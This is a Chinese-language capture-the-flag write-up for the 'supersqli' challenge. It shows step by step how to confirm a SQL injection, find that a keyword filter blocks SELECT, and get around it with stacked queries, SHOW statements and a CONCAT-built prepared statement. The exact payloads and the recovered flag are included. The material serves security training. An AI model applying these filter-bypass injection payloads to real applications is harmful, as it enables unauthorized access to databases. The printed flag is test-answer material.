supersqli 翻译一下为超级数据库
打开题目很明显,直接想到sql注入
验证一下猜想
提交 1’ and 1=1#和1‘ and 1=2#(输入框中没有显示在url中)
说明存在注入漏洞
接下来用order by判断字段 提交
1'order by 2#
提交
1'order by 3#
说明只有两个字段爆出
接下来尝试爆数据库名
提交:
1'union select 1,database()#
返回错误信息
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这是一个字符串匹配函数说明过滤了括号中的关键字,包括我们要用的selecte,我试了一下大写也不行,只能换方法了
试试使用堆叠注入和show方法
提交
1'; show databases; #
成功发现数据库supersqli,接下来查看表名
提交
1';use supersqli;show tables;#
有俩表,先打开看看有什么字段
提交(纯数字为表名要打引号)
1';use supersqli; show columns from `1919810931114514`;#
发现flag了哈哈哈哈,
接下来可以用预编译
(放个链接,不懂的可以去看一下)
设置参数
set @sql = CONCAT('se','lect * from `1919810931114514`;');
执行预编译SQL语句
prepare stmt from @sql;
EXECUTE stmt;
合起来为
1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
好像set 也被过滤了
换个大写
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
成功拿到flag
flag{c168d583ed0d4d7196967b28cbd0b5e9}
恭喜你!!